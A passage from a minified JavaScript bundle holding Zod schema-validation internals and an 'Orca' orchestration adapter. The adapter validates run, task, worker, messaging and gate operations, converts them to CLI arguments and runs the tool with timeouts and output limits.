he?J(t._def.innerType):[],Ve=class t extends x{_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.object)return f(r,{code:l.invalid_type,expected:p.object,received:r.parsedType}),g;let n=this.discriminator,s=r.data[n],a=this.optionsMap.get(s);return a?r.common.async?a._parseAsync({data:r.data,path:r.path,parent:r}):a._parseSync({data:r.data,path:r.path,parent:r}):(f(r,{code:l.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[n]}),g)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,r,n){let s=new Map;for(let a of r){let i=J(a.shape[e]);if(!i.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let o of i){if(s.has(o))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(o)}`);s.set(o,a)}}return new t({typeName:_.ZodDiscriminatedUnion,discriminator:e,options:r,optionsMap:s,...v(n)})}};function Fe(t,e){let r=D(t),n=D(e);if(t===e)return{valid:!0,data:t};if(r===p.object&&n===p.object){let s=k.objectKeys(e),a=k.objectKeys(t).filter(o=>s.indexOf(o)!==-1),i={...t,...e};for(let o of a){let c=Fe(t[o],e[o]);if(!c.valid)return{valid:!1};i[o]=c.data}return{valid:!0,data:i}}else if(r===p.array&&n===p.array){if(t.length!==e.length)return{valid:!1};let s=[];for(let a=0;a<t.length;a++){let i=t[a],o=e[a],c=Fe(i,o);if(!c.valid)return{valid:!1};s.push(c.data)}return{valid:!0,data:s}}else return r===p.date&&n===p.date&&+t==+e?{valid:!0,data:t}:{valid:!1}}var de=class extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e),s=(a,i)=>{if(Ne(a)||Ne(i))return g;let o=Fe(a.value,i.value);return o.valid?((Me(a)||Me(i))&&r.dirty(),{status:r.value,value:o.data}):(f(n,{code:l.invalid_intersection_types}),g)};return n.common.async?Promise.all([this._def.left._parseAsync({data:n.data,path:n.path,parent:n}),this._def.right._parseAsync({data:n.data,path:n.path,parent:n})]).then(([a,i])=>s(a,i)):s(this._def.left._parseSync({data:n.data,path:n.path,parent:n}),this._def.right._parseSync({data:n.data,path:n.path,parent:n}))}};de.create=(t,e,r)=>new de({left:t,right:e,typeName:_.ZodIntersection,...v(r)});var B=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.array)return f(n,{code:l.invalid_type,expected:p.array,received:n.parsedType}),g;if(n.data.length<this._def.items.length)return f(n,{code:l.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),g;!this._def.rest&&n.data.length>this._def.items.length&&(f(n,{code:l.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),r.dirty());let a=[...n.data].map((i,o)=>{let c=this._def.items[o]||this._def.rest;return c?c._parse(new $(n,i,n.path,o)):null}).filter(i=>!!i);return n.common.async?Promise.all(a).then(i=>R.mergeArray(r,i)):R.mergeArray(r,a)}get items(){return this._def.items}rest(e){return new t({...this._def,rest:e})}};B.create=(t,e)=>{if(!Array.isArray(t))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new B({items:t,typeName:_.ZodTuple,rest:null,...v(e)})};var Pe=class t extends x{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.object)return f(n,{code:l.invalid_type,expected:p.object,received:n.parsedType}),g;let s=[],a=this._def.keyType,i=this._def.valueType;for(let o in n.data)s.push({key:a._parse(new $(n,o,n.path,o)),value:i._parse(new $(n,n.data[o],n.path,o)),alwaysSet:o in n.data});return n.common.async?R.mergeObjectAsync(r,s):R.mergeObjectSync(r,s)}get element(){return this._def.valueType}static create(e,r,n){return r instanceof x?new t({keyType:e,valueType:r,typeName:_.ZodRecord,...v(n)}):new t({keyType:G.create(),valueType:e,typeName:_.ZodRecord,...v(r)})}},Oe=class extends x{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.map)return f(n,{code:l.invalid_type,expected:p.map,received:n.parsedType}),g;let s=this._def.keyType,a=this._def.valueType,i=[...n.data.entries()].map(([o,c],d)=>({key:s._parse(new $(n,o,n.path,[d,"key"])),value:a._parse(new $(n,c,n.path,[d,"value"]))}));if(n.common.async){let o=new Map;return Promise.resolve().then(async()=>{for(let c of i){let d=await c.key,m=await c.value;if(d.status==="aborted"||m.status==="aborted")return g;(d.status==="dirty"||m.status==="dirty")&&r.dirty(),o.set(d.value,m.value)}return{status:r.value,value:o}})}else{let o=new Map;for(let c of i){let d=c.key,m=c.value;if(d.status==="aborted"||m.status==="aborted")return g;(d.status==="dirty"||m.status==="dirty")&&r.dirty(),o.set(d.value,m.value)}return{status:r.value,value:o}}}};Oe.create=(t,e,r)=>new Oe({valueType:e,keyType:t,typeName:_.ZodMap,...v(r)});var Te=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.set)return f(n,{code:l.invalid_type,expected:p.set,received:n.parsedType}),g;let s=this._def;s.minSize!==null&&n.data.size<s.minSize.value&&(f(n,{code:l.too_small,minimum:s.minSize.value,type:"set",inclusive:!0,exact:!1,message:s.minSize.message}),r.dirty()),s.maxSize!==null&&n.data.size>s.maxSize.value&&(f(n,{code:l.too_big,maximum:s.maxSize.value,type:"set",inclusive:!0,exact:!1,message:s.maxSize.message}),r.dirty());let a=this._def.valueType;function i(c){let d=new Set;for(let m of c){if(m.status==="aborted")return g;m.status==="dirty"&&r.dirty(),d.add(m.value)}return{status:r.value,value:d}}let o=[...n.data.values()].map((c,d)=>a._parse(new $(n,c,n.path,d)));return n.common.async?Promise.all(o).then(c=>i(c)):i(o)}min(e,r){return new t({...this._def,minSize:{value:e,message:h.toString(r)}})}max(e,r){return new t({...this._def,maxSize:{value:e,message:h.toString(r)}})}size(e,r){return this.min(e,r).max(e,r)}nonempty(e){return this.min(1,e)}};Te.create=(t,e)=>new Te({valueType:t,minSize:null,maxSize:null,typeName:_.ZodSet,...v(e)});var $e=class t extends x{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.function)return f(r,{code:l.invalid_type,expected:p.function,received:r.parsedType}),g;function n(o,c){return Ae({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,ve(),U].filter(d=>!!d),issueData:{code:l.invalid_arguments,argumentsError:c}})}function s(o,c){return Ae({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,ve(),U].filter(d=>!!d),issueData:{code:l.invalid_return_type,returnTypeError:c}})}let a={errorMap:r.common.contextualErrorMap},i=r.data;if(this._def.returns instanceof K){let o=this;return A(async function(...c){let d=new E([]),m=await o._def.args.parseAsync(c,a).catch(N=>{throw d.addIssue(n(c,N)),d}),T=await Reflect.apply(i,this,m);return await o._def.returns._def.type.parseAsync(T,a).catch(N=>{throw d.addIssue(s(T,N)),d})})}else{let o=this;return A(function(...c){let d=o._def.args.safeParse(c,a);if(!d.success)throw new E([n(c,d.error)]);let m=Reflect.apply(i,this,d.data),T=o._def.returns.safeParse(m,a);if(!T.success)throw new E([s(m,T.error)]);return T.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new t({...this._def,args:B.create(e).rest(F.create())})}returns(e){return new t({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,r,n){return new t({args:e||B.create([]).rest(F.create()),returns:r||F.create(),typeName:_.ZodFunction,...v(n)})}},ue=class extends x{get schema(){return this._def.getter()}_parse(e){let{ctx:r}=this._processInputParams(e);return this._def.getter()._parse({data:r.data,path:r.path,parent:r})}};ue.create=(t,e)=>new ue({getter:t,typeName:_.ZodLazy,...v(e)});var le=class extends x{_parse(e){if(e.data!==this._def.value){let r=this._getOrReturnCtx(e);return f(r,{received:r.data,code:l.invalid_literal,expected:this._def.value}),g}return{status:"valid",value:e.data}}get value(){return this._def.value}};le.create=(t,e)=>new le({value:t,typeName:_.ZodLiteral,...v(e)});function dt(t,e){return new fe({values:t,typeName:_.ZodEnum,...v(e)})}var fe=class t extends x{_parse(e){if(typeof e.data!="string"){let r=this._getOrReturnCtx(e),n=this._def.values;return f(r,{expected:k.joinValues(n),received:r.parsedType,code:l.invalid_type}),g}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let r=this._getOrReturnCtx(e),n=this._def.values;return f(r,{received:r.data,code:l.invalid_enum_value,options:n}),g}return A(e.data)}get options(){return this._def.values}get enum(){let e={};for(let r of this._def.values)e[r]=r;return e}get Values(){let e={};for(let r of this._def.values)e[r]=r;return e}get Enum(){let e={};for(let r of this._def.values)e[r]=r;return e}extract(e,r=this._def){return t.create(e,{...this._def,...r})}exclude(e,r=this._def){return t.create(this.options.filter(n=>!e.includes(n)),{...this._def,...r})}};fe.create=dt;var pe=class extends x{_parse(e){let r=k.getValidEnumValues(this._def.values),n=this._getOrReturnCtx(e);if(n.parsedType!==p.string&&n.parsedType!==p.number){let s=k.objectValues(r);return f(n,{expected:k.joinValues(s),received:n.parsedType,code:l.invalid_type}),g}if(this._cache||(this._cache=new Set(k.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let s=k.objectValues(r);return f(n,{received:n.data,code:l.invalid_enum_value,options:s}),g}return A(e.data)}get enum(){return this._def.values}};pe.create=(t,e)=>new pe({values:t,typeName:_.ZodNativeEnum,...v(e)});var K=class extends x{unwrap(){return this._def.type}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.promise&&r.common.async===!1)return f(r,{code:l.invalid_type,expected:p.promise,received:r.parsedType}),g;let n=r.parsedType===p.promise?r.data:Promise.resolve(r.data);return A(n.then(s=>this._def.type.parseAsync(s,{path:r.path,errorMap:r.common.contextualErrorMap})))}};K.create=(t,e)=>new K({type:t,typeName:_.ZodPromise,...v(e)});var Z=class extends x{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===_.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:r,ctx:n}=this._processInputParams(e),s=this._def.effect||null,a={addIssue:i=>{f(n,i),i.fatal?r.abort():r.dirty()},get path(){return n.path}};if(a.addIssue=a.addIssue.bind(a),s.type==="preprocess"){let i=s.transform(n.data,a);if(n.common.async)return Promise.resolve(i).then(async o=>{if(r.value==="aborted")return g;let c=await this._def.schema._parseAsync({data:o,path:n.path,parent:n});return c.status==="aborted"?g:c.status==="dirty"?te(c.value):r.value==="dirty"?te(c.value):c});{if(r.value==="aborted")return g;let o=this._def.schema._parseSync({data:i,path:n.path,parent:n});return o.status==="aborted"?g:o.status==="dirty"?te(o.value):r.value==="dirty"?te(o.value):o}}if(s.type==="refinement"){let i=o=>{let c=s.refinement(o,a);if(n.common.async)return Promise.resolve(c);if(c instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return o};if(n.common.async===!1){let o=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});return o.status==="aborted"?g:(o.status==="dirty"&&r.dirty(),i(o.value),{status:r.value,value:o.value})}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(o=>o.status==="aborted"?g:(o.status==="dirty"&&r.dirty(),i(o.value).then(()=>({status:r.value,value:o.value}))))}if(s.type==="transform")if(n.common.async===!1){let i=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});if(!H(i))return g;let o=s.transform(i.value,a);if(o instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:r.value,value:o}}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(i=>H(i)?Promise.resolve(s.transform(i.value,a)).then(o=>({status:r.value,value:o})):g);k.assertNever(s)}};Z.create=(t,e,r)=>new Z({schema:t,typeName:_.ZodEffects,effect:e,...v(r)});Z.createWithPreprocess=(t,e,r)=>new Z({schema:e,effect:{type:"preprocess",transform:t},typeName:_.ZodEffects,...v(r)});var P=class extends x{_parse(e){return this._getType(e)===p.undefined?A(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};P.create=(t,e)=>new P({innerType:t,typeName:_.ZodOptional,...v(e)});var q=class extends x{_parse(e){return this._getType(e)===p.null?A(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};q.create=(t,e)=>new q({innerType:t,typeName:_.ZodNullable,...v(e)});var me=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return r.parsedType===p.undefined&&(n=this._def.defaultValue()),this._def.innerType._parse({data:n,path:r.path,parent:r})}removeDefault(){return this._def.innerType}};me.create=(t,e)=>new me({innerType:t,typeName:_.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...v(e)});var he=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n={...r,common:{...r.common,issues:[]}},s=this._def.innerType._parse({data:n.data,path:n.path,parent:{...n}});return xe(s)?s.then(a=>({status:"valid",value:a.status==="valid"?a.value:this._def.catchValue({get error(){return new E(n.common.issues)},input:n.data})})):{status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new E(n.common.issues)},input:n.data})}}removeCatch(){return this._def.innerType}};he.create=(t,e)=>new he({innerType:t,typeName:_.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...v(e)});var Se=class extends x{_parse(e){if(this._getType(e)!==p.nan){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.nan,received:n.parsedType}),g}return{status:"valid",value:e.data}}};Se.create=t=>new Se({typeName:_.ZodNaN,...v(t)});var cr=Symbol("zod_brand"),Ce=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return this._def.type._parse({data:n,path:r.path,parent:r})}unwrap(){return this._def.type}},Ee=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.common.async)return(async()=>{let a=await this._def.in._parseAsync({data:n.data,path:n.path,parent:n});return a.status==="aborted"?g:a.status==="dirty"?(r.dirty(),te(a.value)):this._def.out._parseAsync({data:a.value,path:n.path,parent:n})})();{let s=this._def.in._parseSync({data:n.data,path:n.path,parent:n});return s.status==="aborted"?g:s.status==="dirty"?(r.dirty(),{status:"dirty",value:s.value}):this._def.out._parseSync({data:s.value,path:n.path,parent:n})}}static create(e,r){return new t({in:e,out:r,typeName:_.ZodPipeline})}},ge=class extends x{_parse(e){let r=this._def.innerType._parse(e),n=s=>(H(s)&&(s.value=Object.freeze(s.value)),s);return xe(r)?r.then(s=>n(s)):n(r)}unwrap(){return this._def.innerType}};ge.create=(t,e)=>new ge({innerType:t,typeName:_.ZodReadonly,...v(e)});function at(t,e){let r=typeof t=="function"?t(e):typeof t=="string"?{message:t}:t;return typeof r=="string"?{message:r}:r}function ut(t,e={},r){return t?Y.create().superRefine((n,s)=>{let a=t(n);if(a instanceof Promise)return a.then(i=>{if(!i){let o=at(e,n),c=o.fatal??r??!0;s.addIssue({code:"custom",...o,fatal:c})}});if(!a){let i=at(e,n),o=i.fatal??r??!0;s.addIssue({code:"custom",...i,fatal:o})}}):Y.create()}var dr={object:j.lazycreate},_;(function(t){t.ZodString="ZodString",t.ZodNumber="ZodNumber",t.ZodNaN="ZodNaN",t.ZodBigInt="ZodBigInt",t.ZodBoolean="ZodBoolean",t.ZodDate="ZodDate",t.ZodSymbol="ZodSymbol",t.ZodUndefined="ZodUndefined",t.ZodNull="ZodNull",t.ZodAny="ZodAny",t.ZodUnknown="ZodUnknown",t.ZodNever="ZodNever",t.ZodVoid="ZodVoid",t.ZodArray="ZodArray",t.ZodObject="ZodObject",t.ZodUnion="ZodUnion",t.ZodDiscriminatedUnion="ZodDiscriminatedUnion",t.ZodIntersection="ZodIntersection",t.ZodTuple="ZodTuple",t.ZodRecord="ZodRecord",t.ZodMap="ZodMap",t.ZodSet="ZodSet",t.ZodFunction="ZodFunction",t.ZodLazy="ZodLazy",t.ZodLiteral="ZodLiteral",t.ZodEnum="ZodEnum",t.ZodEffects="ZodEffects",t.ZodNativeEnum="ZodNativeEnum",t.ZodOptional="ZodOptional",t.ZodNullable="ZodNullable",t.ZodDefault="ZodDefault",t.ZodCatch="ZodCatch",t.ZodPromise="ZodPromise",t.ZodBranded="ZodBranded",t.ZodPipeline="ZodPipeline",t.ZodReadonly="ZodReadonly"})(_||(_={}));var ur=(t,e={message:`Input not instance of ${t.name}`})=>ut(r=>r instanceof t,e),lt=G.create,ft=re.create,lr=Se.create,fr=ne.create,pt=se.create,pr=ae.create,mr=be.create,hr=ie.create,gr=oe.create,yr=Y.create,_r=F.create,vr=L.create,xr=we.create,kr=W.create,br=j.create,wr=j.strictCreate,Or=ce.create,Tr=Ve.create,Sr=de.create,Ir=B.create,Rr=Pe.create,Ar=Oe.create,Cr=Te.create,Er=$e.create,jr=ue.create,Nr=le.create,Mr=fe.create,Vr=pe.create,Pr=K.create,$r=Z.create,Zr=P.create,Lr=q.create,zr=Z.createWithPreprocess,Dr=Ee.create,Br=()=>lt().optional(),qr=()=>ft().optional(),Ur=()=>pt().optional(),Jr={string:(t=>G.create({...t,coerce:!0})),number:(t=>re.create({...t,coerce:!0})),boolean:(t=>se.create({...t,coerce:!0})),bigint:(t=>ne.create({...t,coerce:!0})),date:(t=>ae.create({...t,coerce:!0}))};var Fr=g;var Hr=["run-create","run-list","run-show","run-current","run-use","task-create","task-list","task-update","worker-start","worker-show","worker-read","worker-release","send","check","reply","ask","gate-create","gate-list","gate-resolve"],w=class extends Error{constructor(r,n,s,a,i,o,c){super(o);this.code=r;this.operation=n;this.phase=s;this.retrySafety=a;this.recovery=i;this.stderr=c}code;operation;phase;retrySafety;recovery;stderr;name="OrcaAdapterError"},y=u.string().regex(/^[A-Za-z][A-Za-z0-9_-]{0,127}$/),et=t=>u.string().refine(e=>e===e.normalize("NFC"),"must be NFC-normalized").refine(e=>!e.includes("\0")&&!/[\uD800-\uDFFF]/u.test(e),"contains an invalid code point").refine(e=>Buffer.byteLength(e,"utf8")>=1&&Buffer.byteLength(e,"utf8")<=t),M=et(16384),z=et(512),X=et(256),je=u.string().min(1).max(512).regex(/^[\x21-\x7E]+$/).refine(t=>!t.startsWith("-")&&!/[;&|`$<>\\(){}\[\]*?!'\"]/.test(t)),vt=je.refine(t=>Buffer.byteLength(t,"utf8")<=128),mt=u.number().int().min(1).max(100),We=u.number().int().min(250).max(6e5),De=u.enum(["pending","ready","dispatched","completed","failed","blocked"]),xt=u.enum(["pending","resolved"]),ze=u.enum(["status","dispatch","worker_done","merge_ready","escalation","handoff","question","decision_gate","heartbeat"]),Gr=u.enum(["low","normal","high","urgent"]),kt=u.enum(["auto","transcript","terminal"]),bt=u.enum(["claude","codex","cursor","droid","gemini","grok","opencode"]),wt=u.enum(["low","medium","high","xhigh"]),Q=(t,e,r=0)=>u.array(t).min(r).max(e).refine(n=>new Set(n).size===n.length,"items must be unique"),Ot=u.object({summary:M,artifacts:Q(X,32).optional()}).strict().refine(t=>Buffer.byteLength(JSON.stringify(t))<=32768),Yr=u.object({taskId:y.optional(),dispatchId:y.optional(),phase:X.optional(),outcome:u.enum(["succeeded","failed"]).optional(),filesModified:Q(X,128).optional(),reportPath:X.optional()}).strict().refine(t=>Object.keys(t).length>0,"payload must not be empty").refine(t=>Buffer.byteLength(JSON.stringify(t))<=32768),I=(t,e)=>u.object({operation:u.literal(t),...e}).strict(),Tt=u.union([I("run-create",{objective:M}),I("run-list",{limit:mt.optional(),cursor:je.optional()}),I("run-show",{id:y}),I("run-current",{}),I("run-use",{id:y}),I("task-create",{spec:M,title:z.optional(),deps:Q(y,64).optional(),parent:y.optional()}),I("task-list",{status:De.optional(),ready:u.boolean().optional(),brief:u.boolean().optional()}),I("task-update",{id:y,status:De,result:Ot.optional()}),I("worker-start",{task:y,agent:bt,model:vt.optional(),effort:wt.optional(),timeoutMs:We.optional()}).refine(t=>t.effort===void 0||t.model!==void 0,{message:"effort requires model"}),I("worker-show",{dispatch:y}),I("worker-read",{dispatch:y,source:kt.optional(),cursor:je.optional(),limit:mt.optional()}),I("worker-release",{dispatch:y}),I("send",{subject:z,body:M.optional(),type:ze.optional(),priority:Gr.optional(),threadId:y.optional(),payload:Yr.optional()}),I("check",{ack:y.optional(),unread:u.boolean().optional(),peek:u.boolean().optional(),all:u.boolean().optional(),types:Q(ze,ze.options.length,1).optional(),wait:u.boolean().optional(),timeoutMs:We.optional()}).refine(t=>[t.unread,t.peek,t.all].filter(e=>e===!0).length<=1,{message:"unread, peek, and all are mutually exclusive"}).refine(t=>t.timeoutMs===void 0||t.wait===!0,{message:"timeoutMs requires wait"}),I("reply",{id:y,body:M}),I("ask",{question:z.optional(),resume:y.optional(),options:Q(X,10,1).optional(),timeoutMs:We.optional()}).refine(t=>t.question===void 0!=(t.resume===void 0),{message:"exactly one of question or resume is required"}).refine(t=>t.options===void 0||t.question!==void 0,{message:"options require question"}).refine(t=>t.options?.every(e=>!/[,\r\n]/.test(e))??!0,{message:"ask options cannot contain comma, CR, or LF"}),I("gate-create",{task:y,question:z,options:Q(X,10,1).optional()}),I("gate-list",{task:y.optional(),status:xt.optional()}),I("gate-resolve",{id:y,resolution:M,task:y})]);function O(t,e){if(e.length>0&&e[0]==="-")throw new w("invalid_argument","runtime","validate","safe","Correct the rejected semantic value and retry.",`${t} has a flag-shaped value`);return[t,e]}function S(t,e){return e===void 0?[]:O(t,String(e))}function Ie(t,e){return e===!0?[t]:[]}function ht(t){let e=Tt.safeParse(t);if(!e.success){let s=Kr(t);throw new w(s===void 0?"invalid_operation":"invalid_argument",s??"runtime","validate","safe","Correct the semantic input and retry.",e.error.issues.map(a=>a.message).join("; "))}let r=e.data,n=Qr(r);return Object.freeze(["orchestration",r.operation,...n,"--json"])}function Kr(t){if(typeof t!="object"||t===null||!("operation"in t))return;let e=t.operation;return Hr.find(r=>r===e)}function Qr(t){switch(t.operation){case"run-create":return O("--objective",t.objective);case"run-list":return[...S("--limit",t.limit),...S("--cursor",t.cursor)];case"run-show":case"run-use":return O("--id",t.id);case"run-current":return[];case"task-create":return[...O("--spec",t.spec),...S("--task-title",t.title),...t.deps===void 0?[]:O("--deps",JSON.stringify(t.deps)),...S("--parent",t.parent)];case"task-list":return[...S("--status",t.status),...Ie("--ready",t.ready),...Ie("--brief",t.brief)];case"task-update":return[...O("--id",t.id),...O("--status",t.status),...t.result===void 0?[]:O("--result",JSON.stringify(t.result))];case"worker-start":return[...O("--task",t.task),"--worktree","current",...O("--agent",t.agent),...S("--model",t.model),...S("--effort",t.effort),...S("--timeout-ms",t.timeoutMs)];case"worker-show":case"worker-release":return O("--dispatch",t.dispatch);case"worker-read":return[...O("--dispatch",t.dispatch),...S("--source",t.source),...S("--cursor",t.cursor),...S("--limit",t.limit)];case"send":return[...O("--subject",t.subject),...S("--body",t.body),...S("--type",t.type),...S("--priority",t.priority),...S("--thread-id",t.threadId),...t.payload===void 0?[]:O("--payload",JSON.stringify(t.payload))];case"check":return[...S("--ack",t.ack),...Ie("--unread",t.unread),...Ie("--peek",t.peek),...Ie("--all",t.all),...t.types===void 0?[]:O("--types",t.types.join(",")),...Ie("--wait",t.wait),...S("--timeout-ms",t.timeoutMs)];case"reply":return[...O("--id",t.id),...O("--body",t.body)];case"ask":return[...t.question===void 0?O("--resume",t.resume):O("--question",t.question),...t.options===void 0?[]:O("--options",t.options.join(",")),...S("--timeout-ms",t.timeoutMs)];case"gate-create":return[...O("--task",t.task),...O("--question",t.question),...t.options===void 0?[]:O("--options",JSON.stringify(t.options))];case"gate-list":return[...S("--task",t.task),...S("--status",t.status)];case"gate-resolve":return[...O("--id",t.id),...O("--resolution",t.resolution)]}}function Xr(t={}){let e=t.platform??process.platform;if(e==="win32")return"orca.exe";if(e==="darwin")return"orca";if(e==="linux")return t.managedTerminal===!0?"orca":"orca-ide";throw new w("unsupported_platform","runtime","resolve","safe","Run the adapter on a supported Orca host.",`unsupported platform: ${e}`)}var en=3e4,tn=1048576,rn=65536,nn=1e3,sn=1e3,St=async t=>new Promise((e,r)=>{let n=Wr(t.executable,[...t.argv],{shell:t.shell,env:t.env,stdio:["ignore","pipe","pipe"],windowsHide:!0}),s=[],a=[],i=0,o=0,c=!1,d=!1,m=!1,T=!1,C,N,_e=V=>{c||(c=!0,clearTimeout(rt),C!==void 0&&clearTimeout(C),N!==void 0&&clearTimeout(N),e(V))},qe=()=>{n.kill("SIGTERM"),C??=setTimeout(()=>{n.kill("SIGKILL"),N??=setTimeout(()=>_e({exitCode:null,signal:"SIGKILL",stdout:Buffer.concat(s).toString("utf8"),stderr:Buffer.concat(a).toString("utf8"),timedOut:d,outputLimited:m,transportLost:!0}),sn)},nn)},rt=setTimeout(()=>{d=!0,qe()},t.timeoutMs);n.stdout.on("data",V=>{i+=V.length,i>t.maxStdoutBytes?(m=!0,qe()):s.push(V)}),n.stderr.on("data",V=>{o+=V.length,o>t.maxStderrBytes?(m=!0,qe()):a.push(V)}),n.once("spawn",()=>{T=!0}),n.once("error",V=>{if(!c){if(T){_e({exitCode:null,stdout:Buffer.concat(s).toString("utf8"),stderr:`${Buffer.concat(a).toString("utf8")} -process transport error: ${V.message}`,timedOut:d,outputLimited:m,transportLost:!0});return}c=!0,clearTimeout(rt),C!==void 0&&clearTimeout(C),N!==void 0&&clearTimeout(N),r(V)}}),n.once("close",(V,Mt)=>{c||_e({exitCode:V,signal:Mt,stdout:Buffer.concat(s).toString("utf8"),stderr:Buffer.concat(a).toString("utf8"),timedOut:d,outputLimited:m})})}),Re=y,b=t=>u.object(t).strict(),He=b({id:y,objective:M.optional(),coordinatorTerminalHandle:Re.optional()}),Ze=b({id:y,objective:M,home_database:u.string().min(1).max(128),coordinator_handle:Re,coordinator_pane_key:u.string().min(1).max(256),consumer_generation:u.number().int().positive(),legacy:u.number().int().min(0).max(1),created_at:u.string().min(1).max(64),updated_at:u.string().min(1).max(64)}),an=b({id:y,spec:M,title:z.optional(),deps:Q(y,64).optional(),parent:y.optional(),status:De,result:Ot.optional()}),Ge=b({id:y,run_id:y,parent_id:y.nullable(),created_by_terminal_handle:Re,created_by_pane_key:u.string().min(1).max(256),created_by_process_incarnation:u.string().min(1).max(512),created_by_run_generation:u.number().int().positive(),task_title:z,display_name:z,spec:M,status:De,deps:u.string().max(16384),result:u.string().max(32768).nullable(),created_at:u.string().min(1).max(64),completed_at:u.string().min(1).max(64).nullable()}),Le=b({requestId:u.string().uuid(),replayed:u.boolean()}),gt=b({consumerGeneration:u.number().int().positive()}),on=b({id:y,taskId:y,agent:bt.optional(),model:vt.optional(),effort:wt.optional(),state:X.optional(),terminalDisposition:u.enum(["released","retained"]).optional()}),cn=b({id:y,taskId:y,question:z,options:Q(X,10,1).optional(),status:xt,resolution:M.optional()}),yt=b({messageId:y}),dn=u.union([b({messageId:y,state:u.literal("answered"),answer:M}),b({messageId:y,state:u.literal("pending")})]),un=b({deliveryId:y.optional(),acknowledged:u.boolean().optional(),messages:u.array(b({id:y,type:ze,subject:z})).max(50).optional(),count:u.number().int().min(0).max(50).optional()}),ln={"run-create":u.union([b({runId:y}),b({run:Ze,binding:gt,mutation:Le})]),"run-list":b({runs:u.array(He).max(100),cursor:je.optional()}),"run-show":b({run:u.union([He,Ze])}),"run-current":u.union([b({run:He,coordinatorTerminalHandle:Re}),b({run:Ze.nullable()})]),"run-use":u.union([b({runId:y,coordinatorTerminalHandle:Re}),b({run:Ze,binding:gt,mutation:Le})]),"task-create":u.union([b({taskId:y}),b({task:Ge,mutation:Le})]),"task-list":u.union([b({tasks:u.array(an).max(100)}),b({runId:y,legacyReadOnly:u.boolean(),tasks:u.array(Ge).max(100),count:u.number().int().min(0).max(100)})]),"task-update":u.union([b({taskId:y}),b({task:Ge,mutation:Le})]),"worker-start":b({dispatchId:y,taskId:y}),"worker-show":b({dispatch:on}),"worker-read":b({dispatchId:y,source:kt,output:M,cursor:je.optional()}),"worker-release":b({dispatchId:y}),send:yt,check:un,reply:yt,ask:dn,"gate-create":b({gateId:y,taskId:y}),"gate-list":b({gates:u.array(cn).max(100)}),"gate-resolve":b({gateId:y,taskId:y})},fn=u.object({id:u.string().min(1).max(256),ok:u.boolean(),result:u.unknown().optional(),error:u.object({code:u.string().min(1).max(128),message:u.string().min(1).max(4096)}).strict().optional(),_meta:u.object({runtimeId:y,runtimeVersion:z.optional(),version:z.optional(),invokingTerminal:Re.optional()}).strict().optional()}).strict().refine(t=>t.ok?t.result!==void 0&&t.error===void 0:t.result===void 0&&t.error!==void 0),pn=u.object({id:u.string().min(1).max(256),ok:u.literal(!0),result:u.object({target:u.object({kind:u.literal("local")}).strict(),app:u.object({running:u.literal(!0),pid:u.number().int().positive(),desktopWindowStatus:u.enum(["available","unavailable"])}).strict(),runtime:u.object({state:u.literal("ready"),reachable:u.literal(!0),runtimeId:u.string().min(1).max(256),appVersion:u.string().regex(/^\d+\.\d+\.\d+(?:[-+].*)?$/),remoteUpdateSupport:u.object({installMode:u.string().min(1).max(128),automatic:u.boolean(),reason:u.string().min(1).max(256)}).strict(),capabilities:u.array(u.string().min(1).max(256)).max(256)}).strict(),graph:u.object({state:u.literal("ready")}).strict()}).strict(),_meta:u.object({runtimeId:u.string().min(1).max(256)}).strict()}).strict().refine(t=>t.result.runtime.runtimeId===t._meta.runtimeId,"runtime identity mismatch");function ee(t,e,r){return new w("ambiguous_after_possible_commit",t,e,"unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",r)}function mn(t,e,r){let n;try{n=It(e)}catch{throw r?ee(t,"decode","stdout was not one JSON document"):new w("malformed_json",t,"decode","safe","Inspect Orca health and retry this read-only operation when safe.","stdout was 